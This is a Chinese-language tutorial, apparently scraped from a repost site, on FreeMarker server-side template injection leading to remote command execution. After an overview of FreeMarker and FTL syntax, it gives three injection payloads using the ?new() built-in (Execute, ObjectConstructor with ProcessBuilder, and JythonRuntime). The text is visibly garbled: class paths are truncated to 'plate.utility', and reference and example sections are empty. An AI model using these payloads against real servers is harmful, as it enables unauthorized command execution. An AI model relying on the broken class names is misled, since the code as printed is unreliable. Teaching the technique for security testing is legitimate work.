FreeMarker模板注⼊实现远程命令执⾏
⼀、什么是 FreeMarker?
FreeMarker 是⼀款模板引擎:即⼀种基于模板和要改变的数据,并⽤来⽣成输出⽂本(HTML⽹页,电⼦邮件,配置⽂件,源代码等)的通⽤⼯具。它不是⾯向最终⽤户的,⽽是⼀个Java类库,是⼀款程序员可以嵌⼊他们所开发产品的组件。
模板编写为FreeMarker Template Language (FTL)。它是简单的,专⽤的语⾔,不是像PHP那样成熟的编程语⾔。那就意味着要准备数据在真实编程语⾔中来显⽰,⽐如数据库查询和业务运算,之后模板显⽰已经准备好的数据。在模板中,你可以专注于如何展现数据,⽽在模板之外可以专注于要展⽰什么数据。
这种⽅式被称为 MVC (模型视图控制器) 模式,对于动态⽹页来说,是⼀种特别流⾏的模式。它帮助从开发⼈员(Java 程序员)中分离出⽹页设计师(HTML设计师)。设计师⽆需⾯对模板中的复杂逻辑,在没有程序员来修改或重新编译代码时,也可以修改页⾯的样式。
⽽FreeMarker最初的设计,是被⽤来在MVC模式的Web开发框架中⽣成HTML页⾯的,它没有被绑定到 Servlet或HTML或任意Web相关的东西上。它也可以⽤于⾮Web应⽤环境中。
FreeMarker 是免费的,基于Apache许可证2.0版本发布。
⼆、FreeMarker模板
<html>
<head>
<title>Welcome!</title>
</head>
<body>
 <#–这是注释–>
<h1>Welcome ${user}!</h1>
<p>Our latest product:
<a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>
模板⽂件存放在Web服务器上,就像通常存放静态HTML页⾯那样。当有⼈来访问这个页⾯, FreeMarker将会介⼊执⾏,然后动态转换模板,⽤最新的数据内容替换模板中${...}的部分,之后将结果发送到访问者的Web浏览器中。访问者的Web浏览器就会接收到例如第⼀个HTML⽰例那样的内容。
常⽤的⼏种类型:
⽂本:包括HTML标签与静态⽂本等静态内容,会原样输出;
插值:这部分的输出会被计算的数据来替换,使⽤${}这种语法;
标签:给FreeMarker的指⽰,可以简单与指令等同,不会打印在内容中,⽐如<#assign name='bob'>;
注释:由<#–和–>表⽰,不会被freemarker处理
三、利⽤注⼊实现远程命令执⾏
3.1 搭建⼀个简单的测试页⾯,在页⾯上提交⼀个参数,参数会通过freemarker模块被处理,当然参数不经过任何处理,参数会显⽰在Hello 后⾯。
3.2 按照FreeMarker模板插值的⽤法,提交${2*2},显⽰Hello 4,说明表达式被执⾏了
3.3 FreeMarker⾼级内置函数
参考:
其中, new函数创建⼀个继承 plate.TemplateModel 类的变量。
New 使⽤⽰例:
3.4 构造Payload⽅法⼀
html网页免费模板
构造payload:
<#assign value="plate.utility.Execute"?new()>${value("")}
3.5 构造Payload⽅法⼆
构造payload:
<#assign value="plate.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","").start()}
3.6 构造Payload⽅法三
构造payload:
<#assign value="plate.utility.JythonRuntime"?new()><@value>import os;os.system("")</@value>

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。